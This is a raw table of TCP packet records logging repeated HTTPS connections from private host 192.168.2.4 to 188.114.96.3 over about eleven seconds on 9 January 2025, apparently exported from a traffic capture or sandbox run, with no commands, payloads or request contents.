Jan 9, 2025 08:28:39.331888914 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.332830906 CET	49764	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.334742069 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.334764004 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.334830999 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.335156918 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.335169077 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.789331913 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.798978090 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.798995972 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.917160988 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.917223930 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.917252064 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.917280912 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.917284966 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.917295933 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.917339087 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.917349100 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.917613983 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.919971943 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.920033932 CET	443	49766	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.920082092 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.922110081 CET	49766	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.928503990 CET	49767	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.928540945 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:39.928656101 CET	49767	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.928951979 CET	49767	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:39.928967953 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.407598019 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.409782887 CET	49767	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:40.409801960 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.545753002 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.545840979 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.545871019 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.545902014 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.545900106 CET	49767	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:40.545919895 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.545981884 CET	49767	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:40.545989990 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.546020985 CET	443	49767	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.546068907 CET	49767	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:40.547213078 CET	49767	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:40.548722982 CET	49769	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:40.548829079 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:40.548930883 CET	49769	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:40.549334049 CET	49769	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:40.549349070 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.005453110 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.012691021 CET	49769	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.012703896 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.147181034 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.147237062 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.147272110 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.147325039 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.147371054 CET	49769	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.147393942 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.149251938 CET	443	49769	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.149307013 CET	49769	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.149709940 CET	49769	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.151015043 CET	49770	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.151046991 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.151212931 CET	49770	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.151587963 CET	49770	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.151602030 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.633183002 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.646112919 CET	49770	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.646138906 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.781449080 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.781522989 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.781555891 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.781586885 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.781590939 CET	49770	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.781614065 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.781647921 CET	49770	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.781732082 CET	443	49770	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.781793118 CET	49770	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.783119917 CET	49770	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.784913063 CET	49771	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.784969091 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:41.785078049 CET	49771	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.785406113 CET	49771	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:41.785417080 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.268054008 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.269834995 CET	49771	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.269865990 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.389703989 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.389751911 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.389782906 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.389832020 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.389868021 CET	49771	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.389884949 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.389898062 CET	49771	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.389949083 CET	443	49771	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.393234015 CET	49771	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.393513918 CET	49771	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.394608021 CET	49772	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.394655943 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.394732952 CET	49772	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.395016909 CET	49772	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.395030022 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.849344969 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.851464033 CET	49772	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.851485968 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.993554115 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.993602037 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.993630886 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.993654966 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.993674994 CET	49772	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:42.993695974 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:42.993719101 CET	49772	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.026985884 CET	443	49772	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.027148008 CET	49772	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.027604103 CET	49772	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.028887987 CET	49773	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.028938055 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.029083014 CET	49773	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.029324055 CET	49773	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.029355049 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.508203030 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.510217905 CET	49773	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.510238886 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.639345884 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.639393091 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.639425993 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.639455080 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.639455080 CET	49773	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.639497995 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.639516115 CET	49773	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.639581919 CET	443	49773	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.639631033 CET	49773	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.640583038 CET	49773	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.641686916 CET	49774	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.641730070 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:43.641804934 CET	49774	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.642028093 CET	49774	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:43.642041922 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.118298054 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.120316029 CET	49774	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.120338917 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.249829054 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.249881983 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.249917030 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.249929905 CET	49774	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.249946117 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.249957085 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.249984026 CET	49774	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.251899004 CET	443	49774	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.251952887 CET	49774	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.252281904 CET	49774	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.253268957 CET	49775	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.253307104 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.253360987 CET	49775	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.253640890 CET	49775	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.253653049 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.718043089 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.720297098 CET	49775	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.720331907 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.860559940 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.860686064 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.860738039 CET	49775	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.860744953 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.860760927 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.860812902 CET	49775	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.860824108 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.860956907 CET	443	49775	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.861011982 CET	49775	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.861603975 CET	49775	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.862894058 CET	49776	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.862957001 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:44.863038063 CET	49776	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.863240004 CET	49776	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:44.863253117 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.320501089 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.322145939 CET	49776	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.322168112 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.462436914 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.462506056 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.462548018 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.462584972 CET	49776	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.462589025 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.462610006 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.462644100 CET	49776	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.462738991 CET	443	49776	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.462799072 CET	49776	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.467509031 CET	49776	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.468585014 CET	49777	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.468628883 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.468703032 CET	49777	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.468935013 CET	49777	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.468950033 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.929647923 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:45.931628942 CET	49777	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:45.931651115 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.035803080 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.035865068 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.035933018 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.035975933 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.035981894 CET	49777	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.036005974 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.036035061 CET	49777	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.036101103 CET	443	49777	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.036156893 CET	49777	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.040915012 CET	49777	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.042275906 CET	49778	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.042323112 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.042407036 CET	49778	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.042644024 CET	49778	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.042658091 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.497634888 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.525855064 CET	49778	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.525888920 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.636816978 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.636898994 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.636940002 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.636959076 CET	49778	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.636981010 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.637022018 CET	49778	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.637027979 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.637120008 CET	443	49778	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.637170076 CET	49778	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.649667978 CET	49778	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.656450033 CET	49779	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.656469107 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:46.656543970 CET	49779	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.656800985 CET	49779	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:46.656815052 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.109746933 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.111737967 CET	49779	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.111757040 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.228333950 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.228374958 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.228401899 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.228421926 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.228493929 CET	49779	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.228508949 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.228521109 CET	49779	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.228522062 CET	443	49779	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.228576899 CET	49779	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.230057955 CET	49779	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.231467962 CET	49780	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.231492043 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.231578112 CET	49780	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.231863976 CET	49780	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.231877089 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.686295033 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.688618898 CET	49780	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.688647032 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.823008060 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.823059082 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.823096037 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.823122978 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.823133945 CET	49780	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.823153019 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.823179960 CET	49780	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.823237896 CET	443	49780	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.823287964 CET	49780	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.831450939 CET	49780	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.832950115 CET	49781	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.833003998 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:47.833185911 CET	49781	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.833571911 CET	49781	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:47.833586931 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.289170027 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.291395903 CET	49781	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.291445017 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.417804003 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.417882919 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.417916059 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.417948961 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.417978048 CET	49781	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.418003082 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.418018103 CET	49781	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.418078899 CET	443	49781	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.418848991 CET	49781	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.419279099 CET	49781	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.420629025 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.420656919 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.420734882 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.421015978 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.421030045 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.894934893 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:48.899200916 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:48.899219990 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.028702974 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.028772116 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.028805017 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.028825998 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.028855085 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.028876066 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.028899908 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.028913021 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.028945923 CET	443	49782	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.028954983 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.028986931 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.033195019 CET	49782	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.034447908 CET	49783	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.034497976 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.034576893 CET	49783	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.034830093 CET	49783	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.034842968 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.500716925 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.502882957 CET	49783	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.502901077 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.621341944 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.621397018 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.621428013 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.621457100 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.621459007 CET	49783	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.621480942 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.621500969 CET	49783	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.621560097 CET	443	49783	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.621623993 CET	49783	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.622852087 CET	49783	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.624329090 CET	49784	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.624356985 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:49.624447107 CET	49784	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.624700069 CET	49784	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:49.624711037 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.107645988 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.109668970 CET	49784	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.109689951 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.249023914 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.249069929 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.249099970 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.249135017 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.249144077 CET	49784	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.249156952 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.249186039 CET	49784	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.249243021 CET	443	49784	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.249300003 CET	49784	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.250149012 CET	49784	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.251461029 CET	49785	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.251493931 CET	443	49785	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.251607895 CET	49785	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.251924992 CET	49785	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.251939058 CET	443	49785	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.727286100 CET	443	49785	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.729228020 CET	49785	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:28:50.729253054 CET	443	49785	188.114.96.3	192.168.2.4
Jan 9, 2025 08:28:50.857665062 CET	443	49785	188.114.96.3	192.168.2.4
